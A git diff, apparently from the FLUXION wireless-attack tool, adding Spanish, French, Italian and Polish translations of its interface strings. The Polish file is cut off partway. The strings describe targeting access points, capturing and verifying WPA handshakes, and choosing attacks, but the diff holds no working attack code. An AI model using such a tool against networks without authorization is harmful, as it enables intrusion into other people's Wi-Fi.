>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONGeneralSkipOption="${CYel}Skip" +FLUXIONGeneralBackOption="${CRed}Back" +FLUXIONGeneralExitOption="${CRed}Exit" +FLUXIONGeneralRepeatOption="${CRed}Repeat" +FLUXIONGeneralNotFoundError="Not Found" +FLUXIONGeneralXTermFailureError="${CRed}Failed to start xterm session (possible misconfiguration)." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONCleanupAndClosingNotice="Cleaning and closing" +FLUXIONKillingProcessNotice="Killing ${CGry}\$targetID$CClr" +FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr" +FLUXIONDisablingMonitorNotice="Disabling monitoring interface" +FLUXIONDisablingExtraInterfacesNotice="Disabling extra interfaces" +FLUXIONDisablingPacketForwardingNotice="Disabling ${CGry}forwarding of packets" +FLUXIONDisablingCleaningIPTablesNotice="Cleaning ${CGry}iptables" +FLUXIONRestoringTputNotice="Restoring ${CGry}tput" +FLUXIONDeletingFilesNotice="Deleting ${CGry}files" +FLUXIONRestartingNetworkManagerNotice="Restarting ${CGry}Network-Manager" +FLUXIONCleanupSuccessNotice="Cleanup performed successfully!" +FLUXIONThanksSupportersNotice="Thank you for using FLUXION" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/language/es.sh b/language/es.sh new file mode 100755 index 0000000..5801e35 --- /dev/null +++ b/language/es.sh @@ -0,0 +1,98 @@ +#!/usr/bin/env bash +# Spanish +# native: Español + +FLUXIONInterfaceQuery="Seleccione una interfase" +FLUXIONAllocatingInterfaceNotice="Allocating reserved interface $CGrn\"\$interfaceIdentifier\"." +FLUXIONDeallocatingInterfaceNotice="Deallocating reserved interface $CGrn\"\$interfaceIdentifier\"." +FLUXIONInterfaceAllocatedNotice="${CGrn}Interface allocation succeeded!" +FLUXIONInterfaceAllocationFailedError="${CRed}Interface reservation failed!" +FLUXIONReidentifyingInterface="Renaming interface." +FLUXIONUnblockingWINotice="Unblocking all wireless interfaces..." +#FLUXIONFindingExtraWINotice="Looking for extraneous wireless interfaces..." +FLUXIONRemovingExtraWINotice="Removing extraneous wireless interfaces..." +FLUXIONFindingWINotice="Looking for available wireless interfaces..." +FLUXIONSelectedBusyWIError="The wireless interface selected appears to be currently in use!" +FLUXIONSelectedBusyWITip="This is usually caused by the network manager using the interface selected. We recommened you$CGrn gracefully stop the network manager$CClr or configure it to ignored the selected interface. Alternatively, run \"export FLUXIONWIKillProcesses=1\" before fluxion to kill it but we suggest you$CRed avoid using the killer flag${CClr}." +FLUXIONGatheringWIInfoNotice="Gathering interface information..." +FLUXIONUnknownWIDriverError="Unable to determine interface driver!" +FLUXIONUnloadingWIDriverNotice="Waiting for interface \"\$interface\" to unload..." +FLUXIONLoadingWIDriverNotice="Waiting for interface \"\$interface\" to load..." +FLUXIONFindingConflictingProcessesNotice="Looking for notorious services..." +FLUXIONKillingConflictingProcessesNotice="Killing notorious services..." +FLUXIONPhysicalWIDeviceUnknownError="${CRed}Unable to determine interface's physical device!" +FLUXIONStartingWIMonitorNotice="Starting monitor interface..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONTargetSearchingInterfaceQuery="Select a wireless interface for target searching." +FLUXIONTargetTrackerInterfaceQuery="Select a wireless interface for target tracking." +FLUXIONTargetTrackerInterfaceQueryTip="${CSYel}Choosing a dedicated interface may be required.$CClr" +FLUXIONTargetTrackerInterfaceQueryTip2="${CBRed}If you're unsure, choose \"${CBYel}Skip${CBRed}\"!$CClr" +FLUXIONIncompleteTargettingInfoNotice="Missing ESSID, BSSID, or channel information!" +FLUXIONTargettingAccessPointAboveNotice="Fluxion is targetting the access point above." +FLUXIONContinueWithTargetQuery="Continue with this target?" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONStartingScannerNotice="Starting scanner, please wait..." +FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the FLUXION Scanner (ctrl+c)." +FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..." +FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)" +FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONHashFileDoesNotExistError="Hash file does not exist!" +FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!" +FLUXIONHashValidNotice="${CGrn}Success$CClr, hash verification completed!" +FLUXIONPathToHandshakeFileQuery="Enter path to handshake file $CClr(Example: /.../dump-01.cap)" +FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank." +FLUXIONAbsolutePathInfo="Absolute path" +FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, path points to non-existing or empty hash file." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerChannelQuery="Seleccione canal" +FLUXIONScannerChannelOptionAll="Todos los canales " +FLUXIONScannerChannelOptionSpecific="Canal(es) específico(s)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerChannelSingleTip="Canal único" +FLUXIONScannerChannelMiltipleTip="Canales múltiples" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerHeader="FLUXION Escáner" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONHashSourceQuery="Select a method to retrieve the handshake" +FLUXIONHashSourcePathOption="Path to capture file" +FLUXIONHashSourceRescanOption="Handshake directory (rescan)" +FLUXIONFoundHashNotice="A hash for the target AP was found." +FLUXIONUseFoundHashQuery="Do you want to use this file?" +FLUXIONUseFoundHashOption="Use hash found" +FLUXIONSpecifyHashPathOption="Specify path to hash" +FLUXIONHashVerificationMethodQuery="Select a method of verification for the hash" +FLUXIONHashVerificationMethodPyritOption="pyrit verification" +FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}unreliable$CClr)" +FLUXIONHashVerificationMethodCowpattyOption="cowpatty verification (${CGrn}recommended$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONAttackQuery="Seleccione un ataque inalámbrico para el punto de acceso" +FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr attack in progress..." +FLUXIONSelectAnotherAttackOption="Select another attack" +FLUXIONAttackResumeQuery="This attack has already been configured." +FLUXIONAttackRestoreOption="Restore attack" +FLUXIONAttackResetOption="Reset attack" +FLUXIONAttackRestartOption="Restart" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONGeneralSkipOption="${CYel}Skip" +FLUXIONGeneralBackOption="${CRed}Atrás" +FLUXIONGeneralExitOption="${CRed}Salir" +FLUXIONGeneralRepeatOption="${CRed}Repetir" +FLUXIONGeneralNotFoundError="No_Encontrado" +FLUXIONGeneralXTermFailureError="${CRed}Failed to start xterm session (possible misconfiguration)." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONCleanupAndClosingNotice="Limpiando y cerrando" +FLUXIONKillingProcessNotice="Killing ${CGry}\$targetID$CClr" +FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr" +FLUXIONDisablingMonitorNotice="Deshabilitando interfaz de monitoreo" +FLUXIONDisablingExtraInterfacesNotice="Deshabilitando interfaz" +FLUXIONDisablingPacketForwardingNotice="Deshabilitando ${CGry}reenvio de paquetes" +FLUXIONDisablingCleaningIPTablesNotice="Limpiando ${CGry}iptables" +FLUXIONRestoringTputNotice="Restaurando ${CGry}tput" +FLUXIONDeletingFilesNotice="Deleting ${CGry}files" +FLUXIONRestartingNetworkManagerNotice="Reiniciando ${CGry}Network-Manager" +FLUXIONCleanupSuccessNotice="Limpieza realizada satisfactoriamente!" +FLUXIONThanksSupportersNotice="Gracias por usar FLUXION" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/language/fr.sh b/language/fr.sh new file mode 100755 index 0000000..3f4b42b --- /dev/null +++ b/language/fr.sh @@ -0,0 +1,98 @@ +#!/usr/bin/env bash +# French +# native: français + +FLUXIONInterfaceQuery="Sélectionnez une interface" +FLUXIONAllocatingInterfaceNotice="Allocating reserved interface $CGrn\"\$interfaceIdentifier\"." +FLUXIONDeallocatingInterfaceNotice="Deallocating reserved interface $CGrn\"\$interfaceIdentifier\"." +FLUXIONInterfaceAllocatedNotice="${CGrn}Interface allocation succeeded!" +FLUXIONInterfaceAllocationFailedError="${CRed}Interface reservation failed!" +FLUXIONReidentifyingInterface="Renaming interface." +FLUXIONUnblockingWINotice="Débloque toutes les interfaces wireless..." +#FLUXIONFindingExtraWINotice="Cherche des interfaces wireless externes..." +FLUXIONRemovingExtraWINotice="Suppression des interfaces wireless externes..." +FLUXIONFindingWINotice="Cherche des interfaces wireless disponibles..." +FLUXIONSelectedBusyWIError="L'interface wireless sélectionnée semble déjà en cours d'utilisation !" +FLUXIONSelectedBusyWITip="This is usually caused by the network manager using the interface selected. We recommened you$CGrn gracefully stop the network manager$CClr or configure it to ignored the selected interface. Alternatively, run \"export FLUXIONWIKillProcesses=1\" before fluxion to kill it but we suggest you$CRed avoid using the killer flag${CClr}." +FLUXIONGatheringWIInfoNotice="Récupération des informations d'interface..." +FLUXIONUnknownWIDriverError="Incapable de déterminer les drivers d'interface !" +FLUXIONUnloadingWIDriverNotice="En attente du déchargement de l'interface \"\$interface\"..." +FLUXIONLoadingWIDriverNotice="En attente du chargement de l'interface \"\$interface\"..." +FLUXIONFindingConflictingProcessesNotice="Looking for notorious services..." +FLUXIONKillingConflictingProcessesNotice="Killing notorious services..." +FLUXIONPhysicalWIDeviceUnknownError="${CRed}Incapable de déterminer l'interface physique !" +FLUXIONStartingWIMonitorNotice="Lancement de l'interface de monitoring..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONTargetSearchingInterfaceQuery="Select a wireless interface for target searching." +FLUXIONTargetTrackerInterfaceQuery="Select a wireless interface for target tracking." +FLUXIONTargetTrackerInterfaceQueryTip="${CSYel}Choosing a dedicated interface may be required.$CClr" +FLUXIONTargetTrackerInterfaceQueryTip2="${CBRed}If you're unsure, choose \"${CBYel}Skip${CBRed}\"!$CClr" +FLUXIONIncompleteTargettingInfoNotice="Missing ESSID, BSSID, or channel information!" +FLUXIONTargettingAccessPointAboveNotice="Fluxion is targetting the access point above." +FLUXIONContinueWithTargetQuery="Continue with this target?" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONStartingScannerNotice="Lancement du scanner, veuillez patienter..." +FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the FLUXION Scanner (ctrl+c)." +FLUXIONPreparingScannerResultsNotice="Synthèse des résultats du scan, veuillez patienter..." +FLUXIONScannerFailedNotice="Carte wireless probablement pas supportée (pas de point d'accès trouvé)." +FLUXIONScannerDetectedNothingNotice="Pas de point d'accès trouvé, retour..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONHashFileDoesNotExistError="Fichier hash inexistant !" +FLUXIONHashInvalidError="${CRed}Error$CClr, fichier hash invalide !" +FLUXIONHashValidNotice="${CGrn}Success$CClr, vérification du hash complète !" +FLUXIONPathToHandshakeFileQuery="Entrez le chemin du hash $CClr(Exemple: /.../dump-01.cap)" +FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank." +FLUXIONAbsolutePathInfo="Chemin absolu" +FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, path points to non-existing or empty hash file." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerChannelQuery="Sélectionnez un canal" +FLUXIONScannerChannelOptionAll="Tous les canaux" +FLUXIONScannerChannelOptionSpecific="Canal spécifique" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerChannelSingleTip="Un seul canal" +FLUXIONScannerChannelMiltipleTip="Plusieurs canaux" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerHeader="Scanner FLUXION" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONHashSourceQuery="Sélectionnez une méthode de récupération de handshake" +FLUXIONHashSourcePathOption="Chemin du fichier capturé" +FLUXIONHashSourceRescanOption="Dossier du handshake (rescan)" +FLUXIONFoundHashNotice="Un hash pour le point d'accès ciblé a été trouvé." +FLUXIONUseFoundHashQuery="Voulez-vous utiliser ce fichier ?" +FLUXIONUseFoundHashOption="Use hash found" +FLUXIONSpecifyHashPathOption="Specify path to hash" +FLUXIONHashVerificationMethodQuery="Sélectionnez une méthode de vérification du hash" +FLUXIONHashVerificationMethodPyritOption="vérification pyrit" +FLUXIONHashVerificationMethodAircrackOption="vérification aircrack-ng (${CYel}peu fiable$CClr)" +FLUXIONHashVerificationMethodCowpattyOption="vérification cowpatty (${CGrn}recommandé$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONAttackQuery="Sélectionnez une attaque wireless pour le point d'accès" +FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr attaque en cours..." +FLUXIONSelectAnotherAttackOption="Sélectionnez une autre attaque" +FLUXIONAttackResumeQuery="This attack has already been configured." +FLUXIONAttackRestoreOption="Restore attack" +FLUXIONAttackResetOption="Reset attack" +FLUXIONAttackRestartOption="Restart" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONGeneralSkipOption="${CYel}Skip" +FLUXIONGeneralBackOption="${CRed}Retour" +FLUXIONGeneralExitOption="${CRed}Sortie" +FLUXIONGeneralRepeatOption="${CRed}Repeat" +FLUXIONGeneralNotFoundError="Non trouvé" +FLUXIONGeneralXTermFailureError="${CRed} Echec au lancement de la session xterm (mauvaise configuration possible)." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONCleanupAndClosingNotice="Nettoyage et fermeture" +FLUXIONKillingProcessNotice="Killing ${CGry}\$targetID$CClr" +FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr" +FLUXIONDisablingMonitorNotice="Désactivation de l'interface de monitoring" +FLUXIONDisablingExtraInterfacesNotice="Désactivation de l'interface" +FLUXIONDisablingPacketForwardingNotice="Désactivation de ${CGry}transmission de paquets" +FLUXIONDisablingCleaningIPTablesNotice="Nettoyage de ${CGry}iptables" +FLUXIONRestoringTputNotice="Restauration de ${CGry}tput" +FLUXIONDeletingFilesNotice="Suppression ${CGry}files" +FLUXIONRestartingNetworkManagerNotice="Redémarrage de ${CGry}Network-Manager" +FLUXIONCleanupSuccessNotice="Nettoyage effectué avec succès !" +FLUXIONThanksSupportersNotice="Merci d'avoir utilisé FLUXION !" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/language/it.sh b/language/it.sh new file mode 100755 index 0000000..e4728bc --- /dev/null +++ b/language/it.sh @@ -0,0 +1,98 @@ +#!/usr/bin/env bash +# Italian +# native: italiano + +FLUXIONInterfaceQuery="Seleziona un'interfaccia" +FLUXIONAllocatingInterfaceNotice="Allocating reserved interface $CGrn\"\$interfaceIdentifier\"." +FLUXIONDeallocatingInterfaceNotice="Deallocating reserved interface $CGrn\"\$interfaceIdentifier\"." +FLUXIONInterfaceAllocatedNotice="${CGrn}Interface allocation succeeded!" +FLUXIONInterfaceAllocationFailedError="${CRed}Interface reservation failed!" +FLUXIONReidentifyingInterface="Renaming interface." +FLUXIONUnblockingWINotice="Sblocca tutte le interfacce wireless..." +#FLUXIONFindingExtraWINotice="Trova interfacce extra wireless..." +FLUXIONRemovingExtraWINotice="Rimuove interfacce extra wireless..." +FLUXIONFindingWINotice="Trova interfacce wireless disponibili..." +FLUXIONSelectedBusyWIError="L'interfaccia selezionata sembra in uso in questo momento!" +FLUXIONSelectedBusyWITip="This is usually caused by the network manager using the interface selected. We recommened you$CGrn gracefully stop the network manager$CClr or configure it to ignored the selected interface. Alternatively, run \"export FLUXIONWIKillProcesses=1\" before fluxion to kill it but we suggest you$CRed avoid using the killer flag${CClr}." +FLUXIONGatheringWIInfoNotice="Raccolta informazioni interfaccia..." +FLUXIONUnknownWIDriverError="Impossibile trovare il driver dell'interfaccia!" +FLUXIONUnloadingWIDriverNotice="Attendo che l'interfaccia \"\$interface\" venga scaricata..." +FLUXIONLoadingWIDriverNotice="Attendo che l'interfaccia \"\$interface\" venga caricata..." +FLUXIONFindingConflictingProcessesNotice="Individuo i servizi noti..." +FLUXIONKillingConflictingProcessesNotice="Chiudo i servizi noti..." +FLUXIONPhysicalWIDeviceUnknownError="${CRed}Impossibile determinare l'interfaccia del dispositivo fisico!" +FLUXIONStartingWIMonitorNotice="Avvio dell'interfaccia MONITOR..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONTargetSearchingInterfaceQuery="Select a wireless interface for target searching." +FLUXIONTargetTrackerInterfaceQuery="Select a wireless interface for target tracking." +FLUXIONTargetTrackerInterfaceQueryTip="${CSYel}Choosing a dedicated interface may be required.$CClr" +FLUXIONTargetTrackerInterfaceQueryTip2="${CBRed}If you're unsure, choose \"${CBYel}Skip${CBRed}\"!$CClr" +FLUXIONIncompleteTargettingInfoNotice="Missing ESSID, BSSID, or channel information!" +FLUXIONTargettingAccessPointAboveNotice="Fluxion is targetting the access point above." +FLUXIONContinueWithTargetQuery="Continue with this target?" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONStartingScannerNotice="Avvio Scanner, attendi..." +FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the FLUXION Scanner (ctrl+c)." +FLUXIONPreparingScannerResultsNotice="Sintetizzo i risultati dello scan, attendi..." +FLUXIONScannerFailedNotice="La scheda Wireless non è supportata (nessun APs trovato)" +FLUXIONScannerDetectedNothingNotice="Nessun Access Point e' stato trovato, ritorno..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONHashFileDoesNotExistError="Il file di hash non esiste!" +FLUXIONHashInvalidError="${CRed}Errore$CClr, hash del file invalido!" +FLUXIONHashValidNotice="${CGrn}Perfetto$CClr, verifica hash completata!" +FLUXIONPathToHandshakeFileQuery="Inserisci il percorso del file di handshake $CClr(Esempio: /.../dump-01.cap)" +FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank." +FLUXIONAbsolutePathInfo="Path assoluto" +FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, path points to non-existing or empty hash file." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerChannelQuery="Selezione Canale" +FLUXIONScannerChannelOptionAll="Tutti i Canali" +FLUXIONScannerChannelOptionSpecific="Definisci Canale/i" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerChannelSingleTip="Canale Singolo" +FLUXIONScannerChannelMiltipleTip="Canali Multipli" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerHeader="WIFI Monitor" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONHashSourceQuery="Seleziona il metodo di scoperta dell'handshake" +FLUXIONHashSourcePathOption="Path del file catturato" +FLUXIONHashSourceRescanOption="Handshake directory (rescan)" +FLUXIONFoundHashNotice="L'hash del target AP è stato trovato." +FLUXIONUseFoundHashQuery="Vuoi usare questo file?" +FLUXIONUseFoundHashOption="Use hash found" +FLUXIONSpecifyHashPathOption="Specify path to hash" +FLUXIONHashVerificationMethodQuery="Seleziona il metodo di verifica dell'hash" +FLUXIONHashVerificationMethodPyritOption="pyrit verification" +FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}inaffidabile$CClr)" +FLUXIONHashVerificationMethodCowpattyOption="cowpatty verification (${CGrn}raccomandato$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONAttackQuery="Seleziona la tua scelta" +FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr attacco in corso..." +FLUXIONSelectAnotherAttackOption="Seleziona un altro tipo di attacco" +FLUXIONAttackResumeQuery="This attack has already been configured." +FLUXIONAttackRestoreOption="Restore attack" +FLUXIONAttackResetOption="Reset attack" +FLUXIONAttackRestartOption="Restart" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONGeneralSkipOption="${CYel}Skip" +FLUXIONGeneralBackOption="${CRed}Indietro" +FLUXIONGeneralExitOption="${CRed}Esci" +FLUXIONGeneralRepeatOption="${CRed}Repeat" +FLUXIONGeneralNotFoundError="Non Trovato" +FLUXIONGeneralXTermFailureError="${CRed}Errore nell'avvio della sessione XTerm (possibile configurazione errata)." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONCleanupAndClosingNotice="Pulizia e chiusura" +FLUXIONKillingProcessNotice="Killing ${CGry}\$targetID$CClr" +FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr" +FLUXIONDisablingMonitorNotice="Disabilito l'Interfaccia Monitor" +FLUXIONDisablingExtraInterfacesNotice="Disabilito l'Interfaccia" +FLUXIONDisablingPacketForwardingNotice="Disabilito ${CGry}l'invio dei pacchetti" +FLUXIONDisablingCleaningIPTablesNotice="Pulisco ${CGry}iptables" +FLUXIONRestoringTputNotice="Ripristino ${CGry}tput" +FLUXIONDeletingFilesNotice="Cancello ${CGry}files" +FLUXIONRestartingNetworkManagerNotice="Riavvio il ${CGry}Network-Manager" +FLUXIONCleanupSuccessNotice="Pulizia avvenuta con successo!" +FLUXIONThanksSupportersNotice="Grazie per aver utilizzato Fluxion" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/language/pl.sh b/language/pl.sh new file mode 100644 index 0000000..8e8c821 --- /dev/null +++ b/language/pl.sh @@ -0,0 +1,98 @@ +#!/usr/bin/env bash +# English +# native: Polski + +FLUXIONInterfaceQuery="Wybierz kartę bezprzewodową..." +FLUXIONAllocatingInterfaceNotice="Allocating reserved interface $CGrn\"\$interfaceIdentifier\"." +FLUXIONDeallocatingInterfaceNotice="Deallocating reserved interface $CGrn\"\$interfaceIdentifier\"." +FLUXIONInterfaceAllocatedNotice="${CGrn}Interface allocation succeeded!" +FLUXIONInterfaceAllocationFailedError="${CRed}Interface reservation failed!" +FLUXIONReidentifyingInterface="Renaming interface." +FLUXIONUnblockingWINotice="Odblokowanie wszystkick kart bezprzewodowych..." +#FLUXIONFindingExtraWINotice="Wyszukiwanie zewnętrznych kart bezprzewodowych..." +FLUXIONRemovingExtraWINotice="Usuwanie zewnętrznych kart bezprzewodowych..." +FLUXIONFindingWINotice="Wyszukiwanie dostępnych kart bezprzewodowych..." +FLUXIONSelectedBusyWIError="Wygląda na to, że wybrana karta bezprzewodowa jest obecnie używana!" +FLUXIONSelectedBusyWITip="This is usually caused by the network manager using the interface selected. We recommened you$CGrn gracefully stop the network manager$CClr or configure it to ignored the selected interface. Alternatively, run \"export FLUXIONWIKillProcesses=1\" before fluxion to kill it but we suggest you$CRed avoid using the killer flag${CClr}." +FLUXIONGatheringWIInfoNotice="Pozyskiwanie informacji o karcie..." +FLUXIONUnknownWIDriverError="Nie można ustalić sterownika karty!" +FLUXIONUnloadingWIDriverNotice="Waiting for interface \"\$interface\" to unload..." +FLUXIONLoadingWIDriverNotice="Waiting for interface \"\$interface\" to load..." +FLUXIONFindingConflictingProcessesNotice="Poszukiwanie przeszkadzających usług..." +FLUXIONKillingConflictingProcessesNotice="Zabijanie przeszkadzających usług..." +FLUXIONPhysicalWIDeviceUnknownError="${CRed}Unable to determine interface's physical device!" +FLUXIONStartingWIMonitorNotice="Starting monitor interface..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONTargetSearchingInterfaceQuery="Select a wireless interface for target searching." +FLUXIONTargetTrackerInterfaceQuery="Select a wireless interface for target tracking." +FLUXIONTargetTrackerInterfaceQueryTip="${CSYel}Choosing a dedicated interface may be required.$CClr" +FLUXIONTargetTrackerInterfaceQueryTip2="${CBRed}If you're unsure, choose \"${CBYel}Skip${CBRed}\"!$CClr" +FLUXIONIncompleteTargettingInfoNotice="Missing ESSID, BSSID, or channel information!" +FLUXIONTargettingAccessPointAboveNotice="Fluxion is targetting the access point above." +FLUXIONContinueWithTargetQuery="Continue with this target?" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONStartingScannerNotice="Uruchamianie skanera, proszę czekać..." +FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the FLUXION Scanner (ctrl+c)." +FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..." +FLUXIONScannerFailedNotice="Twoja karta może być nie obsługiwana (nie znaleziono żadnego(ych) AP)" +FLUXIONScannerDetectedNothingNotice="Nie znaleziono punktów dostępu, powracanie..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONHashFileDoesNotExistError="Plik hash nie istnieje!" +FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!" +FLUXIONHashValidNotice="${CGrn}Success$CClr, hash verification completed!" +FLUXIONPathToHandshakeFileQuery="Podaj ścieżkę dostępu do pliku handshake $CClr(Example: /.../dump-01.cap)" +FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank." +FLUXIONAbsolutePathInfo="Absolute path" +FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, path points to non-existing or empty hash file." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerChannelQuery="Wybierz kanał do monitorowania" +FLUXIONScannerChannelOptionAll="Wszystkie kanały" +FLUXIONScannerChannelOptionSpecific="Wybrany(e) kanał(y)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerChannelSingleTip="Jeden kanał" 